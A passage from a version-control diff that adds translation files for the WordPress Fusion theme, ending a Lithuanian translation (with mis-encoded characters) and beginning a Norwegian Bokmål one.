+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Tags: "
+msgstr "Åœymos:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+#, php-format
+msgid "Posted in %s"
+msgstr "Paskelbta kategorijoje %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Edit"
+msgstr "Redaguoti"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:55
+msgid "No posts found by this author."
+msgstr "Nerasta Å¡io autoriaus Ä¯raÅ¡Å³."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "NorÄdami perÅŸiÅ«rÄti komentarus, Ä¯raÅ¡ykite slaptaÅŸodÄ¯"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "Komentarai"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "Kitur raÅ¡yta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "Dar nÄra komentarÅ³."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr ""
+"NorÄdami Ä¯raÅ¡yti komentartÄ
+ turite bÅ«ti <a href=\"%s\">prisijungÄ</a> "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr "AtÅ¡aukti atsakymÄ
+"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Logged in as %s."
+msgstr "Prisijungta kaip %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:77
+msgid "Log out of this account"
+msgstr "IÅ¡siregistruoti iÅ¡ Å¡ios paskyros"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:77
+msgid "Logout &raquo;"
+msgstr "IÅ¡siregistruoti &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Sveiki sugrÄ¯ÅŸÄ <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+msgid "Change &raquo;"
+msgstr "Pakeisti &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+msgid "Close &raquo;"
+msgstr "UÅŸverti &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:86
+msgid "Name"
+msgstr "Vardas"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:86
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "(required)"
+msgstr "(bÅ«tina)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "E-Mail"
+msgstr "El. paÅ¡tas"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "(will not be published)"
+msgstr "(nebus skelbiama)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:94
+msgid "Website"
+msgstr "SvetainÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:112
+msgid "Submit Comment"
+msgstr "Pateikti komentarÄ
+"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:129
+msgid "No trackbacks yet."
+msgstr "Kol kas nÄra nuorodÅ³, kad kitur bÅ«tÅ³ raÅ¡yta apie Å¡Ä¯ Ä¯raÅ¡Ä
+."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:142
+msgid "Comments are closed."
+msgstr "Komentuoti negalima."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:21
+#, php-format
+msgid "Fusion theme by %s"
+msgstr "Fusion tema sukurta %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:23
+#, php-format
+msgid "powered by %s"
+msgstr "galios teikia %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "Entries (RSS)"
+msgstr "Ä®raÅ¡ai (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "and"
+msgstr "ir"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "Comments (RSS)"
+msgstr "Komentarai (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:33
+msgid "Increase/Decrease text size"
+msgstr "Didinti/maÅŸinti tekstÄ
+"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:34
+msgid "Switch between full and fixed width"
+msgstr "Persijungti tarp fiksuoto ir pilno ploÄio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:85
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:93
+msgid "Fusion Theme Options"
+msgstr "Fusion temos parinktys"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:96
+msgid "Meta keywords:"
+msgstr "Meta raktaÅŸodÅŸiai"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Separate with commas"
+msgstr "Atskirti kableliais"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Use custom logo image"
+msgstr "Naudoti savo logotipo ÅŸenklÄ
+"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "Ä®kelkite savo logotipÄ
+ kaip logo.png failÄ
+ Ä¯ temos direktorijÄ
+:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "You should export the logo image with transparency enabled"
+msgstr "Turite eksportuoti logotipo atvaizdÄ
+ Ä¯jungÄ permatomumÄ
+"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Disable homepage tab"
+msgstr "IÅ¡jungti titulinio puslapio kortelÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Check this if you are using a static page as the homepage"
+msgstr "PaÅŸymÄkite Å¡iÄ
+ parinktÄ¯ jei namÅ³ puslapiui naudojate statinÄ¯ puslapÄ¯"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Show the categories as header tabs"
+msgstr "Rodyti kategorijas kaip antraÅ¡tÄs korteles"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "(instead of pages)"
+msgstr "(vietoje puslapiÅ³)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default category block in the sidebar"
+msgstr "IÅ¡jungti numatytÄ
+jÄ¯ kategorijÅ³ blokÄ
+ Å¡oninÄje juostoje"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid ""
+"Check if you prefer the widgetized category display or just want to hide the "
+"categories"
+msgstr ""
+"PaÅŸymÄkite Å¡iÄ
+ parinktÄ¯ jei norite, kad kategorijoms bÅ«tÅ³ naudojamas valdiklis, "
+"arba jei norite apskirtai paslÄpti kategorijas"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable the default search block in the sidebar"
+msgstr "IÅ¡jungti numatytÄ
+jÄ¯ paieÅ¡kos blokÄ
+ Å¡oninÄje juostoje"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Check if you don't like the theme-default search look"
+msgstr "PaÅŸymÄkite Å¡iÄ
+ parinktÄ¯, jei Jums nepatinka numatytasis temos paieÅ¡kos laukelis"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Disable layout controls (Aa/<>)"
+msgstr "IÅ¡jungti iÅ¡dÄstymo valdymÄ
+ (Aa/<>)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:129
+msgid "Default page content width:"
+msgstr "Numatytasis puslapio turinio plotis:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Fixed (960 pixels)"
+msgstr "Fiksuotas (960 pikseliÅ³)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "Laisvas (95 % lankytojo ekrano ploÄio)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:137
+msgid ""
+"Note that if the layout controls are enabled, the visitor's javascript page "
+"width cookie setting will override this option"
+msgstr "" 
+"Atkreipkite dÄmesÄ¯ Ä¯ tai, kad Ä¯jungus iÅ¡dÄstymo valdymÄ
+ lankytojo javascript puslapis "
+"su slapuku turÄs pirmenybÄ Å¡iai parinkÄiai"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:141
+msgid "Sidebar position:"
+msgstr "Å oninÄs juostos pozicija:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:144
+msgid "Right (default)"
+msgstr "DeÅ¡inÄje (numatytasis)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:148
+msgid "Left"
+msgstr "KairÄje"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid "Disable jQuery and the associated code"
+msgstr "IÅ¡jungti jQuery ir susijusÄ¯ kodÄ
+"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid ""
+"This will reduce the page load with ~70 KB, but will also disable some "
+"features and effects (layout controls, rss links inside category menu, "
+"comment tabs, trackbacks).<br />You shouldn't change this unless you have "
+"problems with your host regarding bandwidth"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Custom CSS code"
+msgstr "Savadarbis CSS kodas"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+#, php-format
+msgid ""
+"Here you can add or change anything related to design if you have some basic "
+"CSS knowledge. Check %s to see existing styles, which you can redefine here."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid ""
+"Don't modify style.css if you wish to preserve your changes after theme "
+"update! Use this option instead."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:160
+msgid "Save Changes"
+msgstr "Ä®raÅ¡yti pakeitimus"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+#, php-format
+msgid "%s by %s at %s"
+msgstr "%s paraÅ¡Ä %s, %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "H:i"
+msgstr "H:i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:224
+msgid "Your comment is awaiting moderation."
+msgstr "Komentaras yra sulaikytas moderavimui"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:234
+msgid "Reply"
+msgstr "Atsakyti"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:234
+msgid "Quote"
+msgstr "Citata"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:152
+msgid "You are Home"
+msgstr "Esate tituliniame puslapyje"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:152
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:154
+msgid "Home"
+msgstr "Titulinis"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:154
+msgid "Click for Home"
+msgstr "SpragtelÄkite Äia norÄdami patekti Ä¯ titulinÄ¯"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#, php-format
+msgid ""
+"This entry was posted on %s and is filed under %s. You can follow any "
+"responses to this entry through %s."
+msgstr ""
+"Ä®raÅ¡as buvo paskelbtas %s ir yra Ä¯raÅ¡ytas %s. Atsakymus Ä¯ jÄ¯ galite sekti "
+"per %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid ""
+"You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel="
+"\"trackback\">trackback</a> from your own site."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid ""
+"Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback"
+"\">trackback</a> from your own site."
+msgstr ""
+"Komentuoti Å¡iuo metu neleidÅŸiama, taÄiau galite raÅ¡yti iÅ¡ savo svetainÄs ir tai"
+"bus rodoma kaip <a href=\"%s\" rel=\"trackback\">raÅ¡yta kitur</a> tipo komentaras."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid ""
+"You can skip to the end and leave a response. Pinging is currently not "
+"allowed."
+msgstr "Galite perÅ¡okti Ä¯ pabaigÄ
+ ir palikti atsakymÄ
+. Å iuo metu neleidÅŸiama "
+"palikti Å¡vyturÄliÅ³."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "Å iuo metu neleidÅŸiama nei komentuoti, nei palikti Å¡vyturÄliÅ³."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "Redaguoti Å¡Ä¯ Ä¯raÅ¡Ä
+"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Deja, nurodytÅ³ kriterijÅ³ neatitiko nei vienas priedas."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:54
+msgid "Not Found"
+msgstr "Nerasta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:55
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Deja, ieÅ¡kote to, ko Äia nÄra."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:10
+msgid "Links:"
+msgstr "Nuorodos:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:20
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:21
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "Skaitykite likusiÄ
+ puslapio dalÄ¯ &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:8
+msgid "Search Results"
+msgstr "PaieÅ¡kos rezultatai"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:40
+msgid "No posts found. Try a different search?"
+msgstr "Ä®raÅ¡Å³ nerasta. Bandysite ieÅ¡koti ko kito?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "IeÅ¡koti"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:20
+#, php-format
+msgid "You are currently browsing the archives for the %s category."
+msgstr "Å iuo metu narÅ¡ote %s kategorijos karchyvus."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:26
+#, php-format
+msgid "You are currently browsing the archives for %s"
+msgstr "Å iuo metu narÅ¡ote %s archyvus"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:29
+#, php-format
+msgid "You are currently browsing the archives for the year %s"
+msgstr "Å iuo metu narÅ¡ote %s metÅ³ archyvus"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:32
+#, php-format
+msgid "You have searched the archives for %s."
+msgstr "Å iuo metu narÅ¡ote %s archyvus."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:35
+msgid "You are currently browsing the archives."
+msgstr "Å iuo metu narÅ¡ote archyvus."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:62
+msgid "Archives"
+msgstr "Archyvai"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:73
+msgid "Meta"
+msgstr "Meta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:59
+msgid "Sorry, no posts matched your criteria."
+msgstr "NÄra jÅ«sÅ³ norimÅ³ Ä¯raÅ¡Å³."
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/nb_NO.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/nb_NO.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/nb_NO.po	(revision 44)
@@ -0,0 +1,552 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.7b\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-04-05 18:03+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Krister Berntsen <krister.berntsen@gmail.com>\n"
+"Language-Team: Romteknologi.com <krister.berntsen@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Norwegian Bokmal\n"
+"X-Poedit-Country: NORWAY\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:6
+msgid "Page not found (404)"
+msgstr "Siden ble ikke funnet (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+#, php-format
+msgid "Archive for category %s"
+msgstr "Arkiv for kategori %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+#, php-format
+msgid "Posts Tagged %s"
+msgstr "Inlegg med emneord %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+#, php-format
+msgid "Archive for %s"
+msgstr "Arkiv for %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr "d.m.Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr "M, Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "Forfatterarkiv"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "Bloggarkiv"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:15
+msgid "Permanent Link:"
+msgstr "Permanent lenke til:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s on %s"
+msgstr "Skrevet av %s i %s den %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:33
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "Skrevet av %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:17
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:26
+msgid "Read the rest of this entry &raquo;"
+msgstr "Les resten av denne artikkelen &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "No Comments"
+msgstr "Ingen kommentarer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "1 Comment"
+msgstr "1 Kommentar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "% Comments"
+msgstr "% Kommentarer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:63
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:48
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Eldre artikler"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:64
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:50
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:14
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:35
+msgid "Newer Entries &raquo;"
+msgstr "Nyere artikler &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:70
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Beklager, men det er ingen artikler i denne kategorien enda. (%s)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Beklager, men det finnes ingen artikler pÃ¥ denne datoen."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:75
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Beklager, %s har ikke skrevet noen artikler enda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+msgid "No posts found."
+msgstr "Ingen artikler funnet"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "MÃ¥nedsarkiv:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "Emnearkiv:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:16
+msgid "This user hasn't shared any biographical information"
+msgstr "Denne brukeren har ikke skrevet noe om seg selv enda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:21
+msgid "Homepage:"
+msgstr "Hjemmeside:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:22
+msgid "Yahoo Messenger:"
+msgstr "Yahoo Messenger:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:23
+msgid "Jabber/GTalk:"
+msgstr "Jabber/GTalk"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:24
+msgid "AIM:"
+msgstr "AIM:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:41
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "l, F jS, Y"
+msgstr "d.m.Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Tags: "
+msgstr "Emneord:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+#, php-format
+msgid "Posted in %s"
+msgstr "Skrevet i kategorien %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Edit"
+msgstr "Endre"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:55
+msgid "No posts found by this author."
+msgstr "Ingen artikler er skrevet av denne forfatteren"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "Skriv inn ditt passord for Ã¥ se kommentarer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "Kommentarer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "Tilbakelenker"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "Ingen kommentarer enda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "Du mÃ¥ vÃŠre <a href=\" %s\">logget inn</a> for Ã¥ kommentere."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr "Avbryt svar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Logged in as %s."
+msgstr "Logget inn som %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:77
+msgid "Log out of this account"
+msgstr "Logg ut av denne brukeren"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:77
+msgid "Logout &raquo;"
+msgstr "Logg ut &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Velkommen tilbake <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+msgid "Change &raquo;"
+msgstr "Endre &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+msgid "Close &raquo;"
+msgstr "Lukk &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:86
+msgid "Name"
+msgstr "navn"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:86
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "(required)"
+msgstr "(pÃ¥krevd)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "E-Mail"
+msgstr "E-postadresse"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "(will not be published)"
+msgstr "(Vil vÃŠre skjult)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:94
+msgid "Website"
+msgstr "Hjemmeside"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:112
+msgid "Submit Comment"
+msgstr "Legg inn kommentar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:129
+msgid "No trackbacks yet."
+msgstr "Ingen tilbakelenker enda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:142
+msgid "Comments are closed."
+msgstr "Kommentarer er sperret."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:21
+#, php-format
+msgid "Fusion theme by %s"
+msgstr "Fusion tema av %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:23
+#, php-format
+msgid "powered by %s"
+msgstr "%s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "Entries (RSS)"
+msgstr "Artikler (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "and"
+msgstr "og"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "Comments (RSS)"
+msgstr "Kommentarer"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:33
+msgid "Increase/Decrease text size"
+msgstr "GjÃžr teksten stÃžrre/mindre"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:34
+msgid "Switch between full and fixed width"
+msgstr "Bytt mellom dynamisk og statisk sidebredde"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:85
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:93
+msgid "Fusion Theme Options"
+msgstr "Fusion Tema-instillinger"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:96
+msgid "Meta keywords:"
+msgstr "Meta nÃžkkelord"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Separate with commas"
+msgstr "Separer med komma"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Use custom logo image"
+msgstr "Bruk egendefinert logo"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "Last opp din logo som \"logo.png\" i tema-mappen"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "You should export the logo image with transparency enabled"
